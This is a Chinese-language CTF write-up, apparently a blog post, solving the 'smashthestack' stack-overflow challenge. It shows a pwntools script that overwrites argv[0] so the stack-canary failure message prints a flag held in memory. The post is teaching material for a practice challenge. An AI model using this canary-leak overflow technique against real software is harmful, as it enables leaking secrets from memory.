smashthestack的wp

https://hackme.inndy.tw/scoreboard/ 题目很有趣,我做了smashthestack这个题目感觉还不错,我把wp分享出来,方便大家学习
smashthestack的要求是:

nc hackme.inndy.tw 7717

Tips: stderr is available, beware of the output

这个题目提示利用错误输出
下面我用ida打开smashthestack这个程序看main函数
image
可以看到这个程序很简单,你输入一些东西如果不会造成缓冲区溢出的话就会把栈中的数据打印出来
先运行一下程序看一下这个程序干了啥
image
再看看程序开启了哪些保护:
image
看到NX enabled是开启了栈不可执行,而且这个程序还有canary保护,但是明显的是flag已经被读入了内存,在网上找到了dragonsector写的一个pdf:http://j00ru.vexillium.org/blog/24_03_15/dragons_ctf.pdf,知道了当__stack_check_fail时,会打印出正在运行中程序的名称,所以,我们只要将__libc_argv[0]覆盖为flag的地址就能将flag打印出来
首先找flag的地址,在程序的读完文件的地方下断点0x08048434
image
执行完read指令之后在ecx中发现flag的地址为:0x804a060
image
知道这样的地址之后,就可以写exp了

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'niexinming'

from pwn import *
context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')

def debug(addr = '0x80484a5'):
    raw_input('debug:')
    gdb.attach(io, "b *" + addr)



#fd:0x804a060

#io = process('/home/h11p/hackme/smash-the-stack')

io = remote('hackme.inndy.tw', 7717)

#payload = p32(0x804a060)+p32(0x120)
payload=p32(0x1)+"a"*184+p32(0x804a060)


#debug()
io.recvuntil('Try to read the flag\n')
io.send(payload)
io.recvall()
#io.interactive()

io.close()

效果是:
image

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值